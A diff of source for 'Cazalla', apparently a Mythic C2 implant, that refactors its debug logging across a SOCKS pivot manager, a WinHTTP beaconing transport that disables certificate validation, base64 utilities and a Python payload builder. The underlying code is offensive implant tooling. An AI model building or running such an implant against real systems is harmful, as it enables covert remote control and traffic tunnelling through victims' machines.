DBG_PRINTF("invalid server_id=%u (ignored)", server_id);
return -4; return -4;
} }
DBG_PRINTF("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id); _dbg("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id);
struct sockaddr_in sa; struct sockaddr_in sa;
sock_t s = socket(AF_INET, SOCK_STREAM, 0); sock_t s = socket(AF_INET, SOCK_STREAM, 0);
if (s == INVALID_SOCKET) { if (s == INVALID_SOCKET) {
printf("[SOCKS_MGR] ERROR: socket() failed\n"); _err("ERROR: socket() failed");
fflush(stdout);
return -1; return -1;
} }
printf("[SOCKS_MGR] Socket creado OK\n"); _dbg("Socket creado OK");
fflush(stdout);
memset(&sa,0,sizeof(sa)); memset(&sa,0,sizeof(sa));
sa.sin_family = AF_INET; sa.sin_family = AF_INET;
sa.sin_port = htons(port); sa.sin_port = htons(port);
@@ -388,55 +363,46 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se
unsigned long addr = inet_addr(dest); unsigned long addr = inet_addr(dest);
if (addr == INADDR_NONE) { if (addr == INADDR_NONE) {
/* No es una IP válida, intentar resolver como hostname */ /* No es una IP válida, intentar resolver como hostname */
printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest); _dbg("Resolviendo hostname: %s", dest);
fflush(stdout);
struct hostent *h = gethostbyname(dest); struct hostent *h = gethostbyname(dest);
if (!h) { if (!h) {
printf("[SOCKS_MGR] ERROR: gethostbyname failed\n"); _err("ERROR: gethostbyname failed");
fflush(stdout);
CLOSESOCK(s); CLOSESOCK(s);
return -2; return -2;
} }
sa.sin_addr = *(struct in_addr*)h->h_addr; sa.sin_addr = *(struct in_addr*)h->h_addr;
printf("[SOCKS_MGR] Hostname resuelto OK\n"); _dbg("Hostname resuelto OK");
fflush(stdout);
} else { } else {
/* Es una IP válida */ /* Es una IP válida */
sa.sin_addr.s_addr = addr; sa.sin_addr.s_addr = addr;
} }
printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port); _dbg("Conectando a %s:%u...", dest, port);
fflush(stdout);
if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) { if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
printf("[SOCKS_MGR] ERROR: connect() failed errno=%d\n", errno); _err("ERROR: connect() failed errno=%d", errno);
fflush(stdout); _dbg("connect() failed errno=%d", errno);
DBG_PRINTF("connect() failed errno=%d", errno);
CLOSESOCK(s); CLOSESOCK(s);
return -3; return -3;
} }
printf("[SOCKS_MGR] Conexión exitosa!\n"); _dbg("Conexión exitosa!");
fflush(stdout);
/* Guardar la dirección bound (la IP/puerto del destino conectado) */ /* Guardar la dirección bound (la IP/puerto del destino conectado) */
if (bound) { if (bound) {
bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order
bound->port = sa.sin_port; // ya en network byte order bound->port = sa.sin_port; // ya en network byte order
printf("[SOCKS_MGR] Bound addr: %08X:%u\n", ntohl(bound->ipv4), ntohs(bound->port)); _dbg("Bound addr: %08X:%u", ntohl(bound->ipv4), ntohs(bound->port));
fflush(stdout);
} }
/* timeout para evitar bloqueo indefinido */ /* timeout para evitar bloqueo indefinido */
int timeout_ms = 15000; // 15s int timeout_ms = 15000; // 15s
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms)); setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
DBG_PRINTF("socket timeout set %d ms", timeout_ms); _dbg("socket timeout set %d ms", timeout_ms);
printf("[SOCKS_MGR] Creando entry para sid=%u\n", server_id); _dbg("Creando entry para sid=%u", server_id);
fflush(stdout);
create_entry(server_id, s); create_entry(server_id, s);
#ifdef _WIN32 #ifdef _WIN32
reader_args_t *ra = malloc(sizeof(reader_args_t)); reader_args_t *ra = malloc(sizeof(reader_args_t));
ra->server_id = server_id; ra->s = s; ra->server_id = server_id; ra->s = s;
printf("[SOCKS_MGR] Creando thread lector para sid=%u\n", server_id); _dbg("Creando thread lector para sid=%u", server_id);
fflush(stdout);
CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL); CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL);
#else #else
pthread_t tid; pthread_t tid;
@@ -445,26 +411,22 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se
pthread_create(&tid, NULL, remote_reader_thread, ra); pthread_create(&tid, NULL, remote_reader_thread, ra);
pthread_detach(tid); pthread_detach(tid);
#endif #endif
printf("[SOCKS_MGR] connect_and_spawn_reader completado OK para sid=%u\n", server_id); _dbg("connect_and_spawn_reader completado OK para sid=%u", server_id);
fflush(stdout);
return 0; return 0;
} }
/* === Procesamiento principal === */ /* === Procesamiento principal === */
int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) { int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) {
printf("[SOCKS_MGR] process_incoming: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len); _dbg("process_incoming: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
fflush(stdout); _dbg("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
DBG_PRINTF("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
if (server_id == 0) { if (server_id == 0) {
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id); _err("ERROR: invalid server_id=%u", server_id);
fflush(stdout); _dbg("invalid server_id=%u", server_id);
DBG_PRINTF("invalid server_id=%u", server_id);
return -4; return -4;
} }
if (exit_flag) { if (exit_flag) {
printf("[SOCKS_MGR] Exit flag set, removiendo entry sid=%u\n", server_id); _dbg("Exit flag set, removiendo entry sid=%u", server_id);
fflush(stdout);
remove_entry(server_id); remove_entry(server_id);
socks_msg_t m = {server_id, 1, NULL, 0}; socks_msg_t m = {server_id, 1, NULL, 0};
enqueue_outgoing(&m); enqueue_outgoing(&m);
@@ -475,20 +437,17 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
if (!e) { if (!e) {
char dest[256]; uint16_t dport=0; char dest[256]; uint16_t dport=0;
int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport); int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport);
printf("[SOCKS_MGR] Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u\n", server_id, r, dest, dport); _dbg("Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
fflush(stdout); _dbg("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
DBG_PRINTF("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
if (r != 0) return -1; if (r != 0) return -1;
socks_bound_addr_t bound; socks_bound_addr_t bound;
memset(&bound, 0, sizeof(bound)); memset(&bound, 0, sizeof(bound));
int rc = connect_and_spawn_reader(dest, dport, server_id, &bound); int rc = connect_and_spawn_reader(dest, dport, server_id, &bound);
printf("[SOCKS_MGR] connect_and_spawn_reader rc=%d\n", rc); _dbg("connect_and_spawn_reader rc=%d", rc);
fflush(stdout); _dbg("connect_and_spawn_reader rc=%d", rc);
DBG_PRINTF("connect_and_spawn_reader rc=%d", rc);
if (rc != 0) { if (rc != 0) {
printf("[SOCKS_MGR] ERROR: connect_and_spawn_reader falló con rc=%d\n", rc); _err("ERROR: connect_and_spawn_reader falló con rc=%d", rc);
fflush(stdout);
return -2; return -2;
} }
@@ -503,30 +462,24 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
/* Copiar puerto (2 bytes en network byte order) */ /* Copiar puerto (2 bytes en network byte order) */
memcpy(&reply[8], &bound.port, 2); memcpy(&reply[8], &bound.port, 2);
printf("[SOCKS_MGR] Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u\n", _dbg("Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u",
server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port)); server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port));
fflush(stdout);
socks_msg_t m = {server_id, 0, reply, sizeof(reply)}; socks_msg_t m = {server_id, 0, reply, sizeof(reply)};
enqueue_outgoing(&m); enqueue_outgoing(&m);
printf("[SOCKS_MGR] Respuesta SOCKS encolada para sid=%u\n", server_id); _dbg("Respuesta SOCKS encolada para sid=%u", server_id);
fflush(stdout);
return 0; return 0;
} else { } else {
printf("[SOCKS_MGR] Entry encontrada para sid=%u, enviando %zu bytes al socket remoto\n", server_id, data_len); _dbg("Entry encontrada para sid=%u, enviando %zu bytes al socket remoto", server_id, data_len);
fflush(stdout);
if (e->sock != INVALID_SOCKET) { if (e->sock != INVALID_SOCKET) {
size_t total = 0; size_t total = 0;
while (total < data_len) { while (total < data_len) {
printf("[SOCKS_MGR] sid=%u enviando %zu bytes (total=%zu de %zu)\n", server_id, data_len - total, total, data_len); _dbg("sid=%u enviando %zu bytes (total=%zu de %zu)", server_id, data_len - total, total, data_len);
fflush(stdout);
int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0); int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0);
printf("[SOCKS_MGR] sid=%u send() retornó w=%d\n", server_id, w); _dbg("sid=%u send() retornó w=%d", server_id, w);
fflush(stdout);
if (w <= 0) { if (w <= 0) {
printf("[SOCKS_MGR] ERROR: send() falló para sid=%u, cerrando conexión\n", server_id); _err("send() falló para sid=%u, cerrando conexión", server_id);
fflush(stdout); _dbg("send error sid=%u w=%d", server_id, w);
DBG_PRINTF("send error sid=%u w=%d", server_id, w);
remove_entry(server_id); remove_entry(server_id);
socks_msg_t m = {server_id, 1, NULL, 0}; socks_msg_t m = {server_id, 1, NULL, 0};
enqueue_outgoing(&m); enqueue_outgoing(&m);
@@ -534,13 +487,11 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
} }
total += w; total += w;
} }
printf("[SOCKS_MGR] sid=%u enviados %zu bytes OK\n", server_id, data_len); _dbg("sid=%u enviados %zu bytes OK", server_id, data_len);
fflush(stdout); _dbg("sent %zu bytes sid=%u", data_len, server_id);
DBG_PRINTF("sent %zu bytes sid=%u", data_len, server_id);
return 0; return 0;
} else { } else {
printf("[SOCKS_MGR] ERROR: socket inválido para sid=%u\n", server_id); _err("socket inválido para sid=%u", server_id);
fflush(stdout);
return -2; return -2;
} }
} }
@@ -549,13 +500,13 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
/* === Stubs start/stop === */ /* === Stubs start/stop === */
int socks_manager_start_proxy(uint16_t local_port) { int socks_manager_start_proxy(uint16_t local_port) {
socks_proxy_active = 1; socks_proxy_active = 1;
DBG_PRINTF("socks_manager_start_proxy port=%u (active)", local_port); _dbg("socks_manager_start_proxy port=%u (active)", local_port);
(void)local_port; (void)local_port;
return 0; return 0;
} }
int socks_manager_stop_proxy(void) { int socks_manager_stop_proxy(void) {
DBG_PRINTF("socks_manager_stop_proxy()"); _dbg("socks_manager_stop_proxy()");
socks_proxy_active = 0; socks_proxy_active = 0;
#ifdef _WIN32 #ifdef _WIN32
EnterCriticalSection(&conn_lock); EnterCriticalSection(&conn_lock);
@@ -8,11 +8,6 @@
#define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70 #define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70
#endif #endif
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[TRPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
/* ======================================================= /* =======================================================
Obtener código de estado HTTP Obtener código de estado HTTP
@@ -39,8 +34,7 @@ static VOID procesarSocksEntrante(PAnalizador respuesta) {
Petición HTTP (envío + recepción) Petición HTTP (envío + recepción)
======================================================= */ ======================================================= */
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
printf("[TRANSPORTE] realizarPeticionHTTP() bufferLen=%u\n", bufferLen); _dbg("realizarPeticionHTTP() bufferLen=%u", bufferLen);
fflush(stdout);
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL; HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0; DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
@@ -65,28 +59,22 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
httpFlags |= WINHTTP_FLAG_SECURE; httpFlags |= WINHTTP_FLAG_SECURE;
} }
printf("[TRANSPORTE] WinHttpOpen()\n"); _dbg("WinHttpOpen()");
fflush(stdout);
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) { if (!hSesion) {
printf("[TRANSPORTE] ERROR: WinHttpOpen falló (%lu)\n", GetLastError()); _err("WinHttpOpen falló (%lu)", GetLastError());
fflush(stdout);
return NULL; return NULL;
} }
printf("[TRANSPORTE] WinHttpOpen OK\n"); _dbg("WinHttpOpen OK");
fflush(stdout);
printf("[TRANSPORTE] WinHttpConnect() host=%ls port=%d\n", cazallaConfig->hostName, cazallaConfig->puertoHttp); _dbg("WinHttpConnect() host=%ls port=%d", cazallaConfig->hostName, cazallaConfig->puertoHttp);
fflush(stdout);
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0); hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
if (!hConexion) { if (!hConexion) {
printf("[TRANSPORTE] ERROR: WinHttpConnect falló (%lu)\n", GetLastError()); _err("WinHttpConnect falló (%lu)", GetLastError());
fflush(stdout);
WinHttpCloseHandle(hSesion); WinHttpCloseHandle(hSesion);
return NULL; return NULL;
} }
printf("[TRANSPORTE] WinHttpConnect OK\n"); _dbg("WinHttpConnect OK");
fflush(stdout);
// Log complete URL - ensure endpoint starts with / // Log complete URL - ensure endpoint starts with /
wchar_t endpointBuf[256]; wchar_t endpointBuf[256];
@@ -101,36 +89,29 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
cazallaConfig->hostName, cazallaConfig->hostName,
cazallaConfig->puertoHttp, cazallaConfig->puertoHttp,
endpointBuf); endpointBuf);
printf("[TRANSPORTE] Complete URL: %ls\n", urlBuffer); _dbg("Complete URL: %ls", urlBuffer);
fflush(stdout);
printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n", _dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x",
endpointBuf, cazallaConfig->metodoHttp, httpFlags); endpointBuf, cazallaConfig->metodoHttp, httpFlags);
fflush(stdout);
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags); hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
if (!hPeticion) { if (!hPeticion) {
printf("[TRANSPORTE] ERROR: WinHttpOpenRequest falló (%lu)\n", GetLastError()); _err("WinHttpOpenRequest falló (%lu)", GetLastError());
fflush(stdout);
WinHttpCloseHandle(hConexion); WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion); WinHttpCloseHandle(hSesion);
return NULL; return NULL;
} }
printf("[TRANSPORTE] WinHttpOpenRequest OK\n"); _dbg("WinHttpOpenRequest OK");
fflush(stdout);
if (cazallaConfig->SSL) { if (cazallaConfig->SSL) {
printf("[TRANSPORTE] Configurando opciones SSL\n"); _dbg("Configurando opciones SSL");
fflush(stdout);
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA | DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) { if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) {
printf("[TRANSPORTE] WARNING: WinHttpSetOption SECURITY_FLAGS falló (%lu)\n", GetLastError()); _wrn("WinHttpSetOption SECURITY_FLAGS falló (%lu)", GetLastError());
fflush(stdout);
} else { } else {
printf("[TRANSPORTE] SSL flags configurados OK\n"); _dbg("SSL flags configurados OK");
fflush(stdout);
} }
// También configurar para deshabilitar revocación de certificados // También configurar para deshabilitar revocación de certificados
@@ -147,8 +128,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
} }
} }
printf("[TRANSPORTE] Enviando %u bytes de datos codificados\n", bufferLen); _dbg("Enviando %u bytes de datos codificados", bufferLen);
fflush(stdout);
// Log first 100 bytes of data being sent (base64 preview) // Log first 100 bytes of data being sent (base64 preview)
if (bufferLen > 0 && bufferIn) { if (bufferLen > 0 && bufferIn) {
@@ -156,40 +136,33 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
size_t previewLen = bufferLen > 100 ? 100 : bufferLen; size_t previewLen = bufferLen > 100 ? 100 : bufferLen;
memcpy(preview, bufferIn, previewLen); memcpy(preview, bufferIn, previewLen);
preview[previewLen] = '\0'; preview[previewLen] = '\0';
printf("[TRANSPORTE] Data preview (first %zu bytes): %s\n", previewLen, preview); _dbg("Data preview (first %zu bytes): %s", previewLen, preview);
if (bufferLen > 100) { if (bufferLen > 100) {
printf("[TRANSPORTE] ... (total %u bytes, showing first 100)\n", bufferLen); _dbg("... (total %u bytes, showing first 100)", bufferLen);
} }
fflush(stdout);
} }
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) { if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
printf("[TRANSPORTE] ERROR: WinHttpSendRequest falló (%lu)\n", GetLastError()); _err("WinHttpSendRequest falló (%lu)", GetLastError());
fflush(stdout);
WinHttpCloseHandle(hPeticion); WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion); WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion); WinHttpCloseHandle(hSesion);
return NULL; return NULL;
} }
printf("[TRANSPORTE] WinHttpSendRequest OK\n"); _dbg("WinHttpSendRequest OK");
fflush(stdout);
printf("[TRANSPORTE] Esperando respuesta...\n"); _dbg("Esperando respuesta...");
fflush(stdout);
if (!WinHttpReceiveResponse(hPeticion, NULL)) { if (!WinHttpReceiveResponse(hPeticion, NULL)) {
printf("[TRANSPORTE] ERROR: WinHttpReceiveResponse falló (%lu)\n", GetLastError()); _err("WinHttpReceiveResponse falló (%lu)", GetLastError());
fflush(stdout);
WinHttpCloseHandle(hPeticion); WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion); WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion); WinHttpCloseHandle(hSesion);
return NULL; return NULL;
} }
printf("[TRANSPORTE] WinHttpReceiveResponse OK\n"); _dbg("WinHttpReceiveResponse OK");
fflush(stdout);
codigoDeEstado = obtenerCodigoDeEstado(hPeticion); codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
printf("[TRANSPORTE] HTTP status = %lu\n", codigoDeEstado); _dbg("HTTP status = %lu", codigoDeEstado);
fflush(stdout);
// Try to get response headers for debugging // Try to get response headers for debugging
if (codigoDeEstado != 200) { if (codigoDeEstado != 200) {
@@ -197,26 +170,23 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
DWORD headerSize = sizeof(headers) / sizeof(wchar_t); DWORD headerSize = sizeof(headers) / sizeof(wchar_t);
if (WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_RAW_HEADERS_CRLF, if (WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX, headers, &headerSize, WINHTTP_NO_HEADER_INDEX)) { WINHTTP_HEADER_NAME_BY_INDEX, headers, &headerSize, WINHTTP_NO_HEADER_INDEX)) {
printf("[TRANSPORTE] Response headers:\n"); _dbg("Response headers:");
printf("[TRANSPORTE] %ls\n", headers); _dbg("%ls", headers);
} else { } else {
printf("[TRANSPORTE] Could not retrieve response headers (error: %lu)\n", GetLastError()); _wrn("Could not retrieve response headers (error: %lu)", GetLastError());
} }
fflush(stdout);
} }
if (codigoDeEstado != 200) { if (codigoDeEstado != 200) {
printf("[TRANSPORTE] ERROR: HTTP status no OK --> %lu\n", codigoDeEstado); _err("HTTP status no OK --> %lu", codigoDeEstado);
printf("[TRANSPORTE] Request URL was: %ls\n", urlBuffer); _err("Request URL was: %ls", urlBuffer);
printf("[TRANSPORTE] Request size was: %u bytes\n", bufferLen); _err("Request size was: %u bytes", bufferLen);
fflush(stdout);
WinHttpCloseHandle(hPeticion); WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion); WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion); WinHttpCloseHandle(hSesion);
return NULL; return NULL;
} }
printf("[TRANSPORTE] HTTP status OK (200)\n"); _dbg("HTTP status OK (200)");
fflush(stdout);
do { do {
dwTamano = 1024; dwTamano = 1024;
@@ -236,13 +206,11 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
: LocalAlloc(LPTR, respSize); : LocalAlloc(LPTR, respSize);
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado); memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
printf("[TRANSPORTE] Recibidos %u bytes (%lu totales)\n", dwDescargado, respSize); _dbg("Recibidos %u bytes (%lu totales)", dwDescargado, respSize);
fflush(stdout);
memset(buffer, 0, sizeof(buffer)); memset(buffer, 0, sizeof(buffer));
} while (dwTamano > 0); } while (dwTamano > 0);
printf("[TRANSPORTE] Respuesta total %lu bytes\n", respSize); _dbg("Respuesta total %lu bytes", respSize);
fflush(stdout);
WinHttpCloseHandle(hPeticion); WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion); WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion); WinHttpCloseHandle(hSesion);
@@ -253,8 +221,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
/* NOTA: El parsing del bloque SOCKS se hace DESPUÉS de decodificar base64 en paquete.c */ /* NOTA: El parsing del bloque SOCKS se hace DESPUÉS de decodificar base64 en paquete.c */
/* Aquí solo devolvemos el analizador con los datos base64-encoded */ /* Aquí solo devolvemos el analizador con los datos base64-encoded */
printf("[TRANSPORTE] realizarPeticionHTTP() completado\n"); _dbg("realizarPeticionHTTP() completado");
fflush(stdout);
return analizador; return analizador;
} }
@@ -263,8 +230,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
======================================================= */ ======================================================= */
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) { Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT #ifdef HTTP_TRANSPORT
printf("[TRANSPORTE] mandarYRecibir() len=%zu\n", tamano); _dbg("mandarYRecibir() len=%zu", tamano);
fflush(stdout);
return realizarPeticionHTTP(datos, (UINT32)tamano); return realizarPeticionHTTP(datos, (UINT32)tamano);
#else #else
return NULL; return NULL;
@@ -1,10 +1,5 @@
#include "utils.h" #include "utils.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[UTILDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
@@ -153,20 +148,20 @@ int base64_decode(const char *b64, unsigned char **out, size_t *out_len) {
unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need); unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need);
if (!buf) { if (!buf) {
DBG_PRINTF("base64_decode: LocalAlloc failed for %zu bytes", need); _err("base64_decode: LocalAlloc failed for %zu bytes", need);
return 0; return 0;
} }
int ok = b64Decodificado(b64, buf, need); int ok = b64Decodificado(b64, buf, need);
if (!ok) { if (!ok) {
LocalFree(buf); LocalFree(buf);
DBG_PRINTF("base64_decode: b64Decodificado failed"); _err("base64_decode: b64Decodificado failed");
return 0; return 0;
} }
*out = buf; *out = buf;
*out_len = (size_t)need; *out_len = (size_t)need;
DBG_PRINTF("base64_decode: decoded %zu bytes", *out_len); _dbg("base64_decode: decoded %zu bytes", *out_len);
return 1; return 1;
} }
@@ -181,12 +176,12 @@ int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) {
char *s = b64Codificado(data, (SIZE_T)dlen); char *s = b64Codificado(data, (SIZE_T)dlen);
if (!s) { if (!s) {
DBG_PRINTF("base64_encode: b64Codificado failed"); _err("base64_encode: b64Codificado failed");
return 0; return 0;
} }
/* b64Codificado already uses LocalAlloc in original impl */ /* b64Codificado already uses LocalAlloc in original impl */
*out_b64 = s; *out_b64 = s;
DBG_PRINTF("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64); _dbg("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
return 1; return 1;
} }
@@ -4,9 +4,9 @@
#include <windows.h> #include <windows.h>
#include <stdlib.h> #include <stdlib.h>
#include <time.h> #include <time.h>
#include "debug.h"
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include "debug.h"
#ifdef __MINGW64__ #ifdef __MINGW64__
#define BYTESWAP32(x) __builtin_bswap32( x ) #define BYTESWAP32(x) __builtin_bswap32( x )
@@ -30,10 +30,18 @@ class CazallaAgent(PayloadType):
default_value="exe" default_value="exe"
), ),
BuildParameter( BuildParameter(
name="debug", name="debug_level",
parameter_type=BuildParameterType.Boolean, parameter_type=BuildParameterType.ChooseOne,
description="Enable debug mode (adds -D_DEBUG -DDEBUG_SOCKS and console output)", description="Debug verbosity level",
default_value=False choices=["none", "errors", "warnings", "info", "all"],
default_value="none"
),
BuildParameter(
name="debug_output",
parameter_type=BuildParameterType.ChooseOne,
description="Debug output destination (only used if debug_level is not 'none')",
choices=["console", "file"],
default_value="console"
), ),
] ]
agent_path = pathlib.Path(".") / "cazalla" agent_path = pathlib.Path(".") / "cazalla"
@@ -182,7 +190,8 @@ class CazallaAgent(PayloadType):
copy_tree(str(self.agent_path), agent_build_path.name) copy_tree(str(self.agent_path), agent_build_path.name)
output_format = self.get_parameter("output") output_format = self.get_parameter("output")
debug_enabled = self.get_parameter("debug") debug_level = self.get_parameter("debug_level")
debug_output = self.get_parameter("debug_output")
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h" config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
@@ -229,9 +238,7 @@ class CazallaAgent(PayloadType):
debug_output.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}") debug_output.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
# Send all debug info as part of "Applying configuration" step # Send all debug info as part of "Applying configuration" step
output_format = self.get_parameter("output") final_output = f"All configuration setting applied (output={output_format}, debug_level={debug_level}, debug_output={debug_output})\n\n"
debug_enabled = self.get_parameter("debug")
final_output = f"All configuration setting applied (output={output_format}, debug={debug_enabled})\n\n"
final_output += "\n".join(debug_output) final_output += "\n".join(debug_output)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
@@ -241,14 +248,19 @@ class CazallaAgent(PayloadType):
StepSuccess=True StepSuccess=True
)) ))
if debug_enabled: # Determine build target and filename based on output format and debug settings
make_target = f"debug_{output_format}" if debug_level == "none":
output_filename = f"cazalla-debug.{output_format}"
else:
make_target = output_format make_target = output_format
output_filename = f"cazalla.{output_format}" output_filename = f"cazalla.{output_format}"
make_flags = ""
else:
make_target = f"debug_{output_format}"
output_filename = f"cazalla-debug.{output_format}"
# Pass debug level and output type to Makefile
# The Makefile will convert string values to numbers
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target}" command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}"
filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}" filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
proc = await asyncio.create_subprocess_shell( proc = await asyncio.create_subprocess_shell(
@@ -273,11 +285,11 @@ class CazallaAgent(PayloadType):
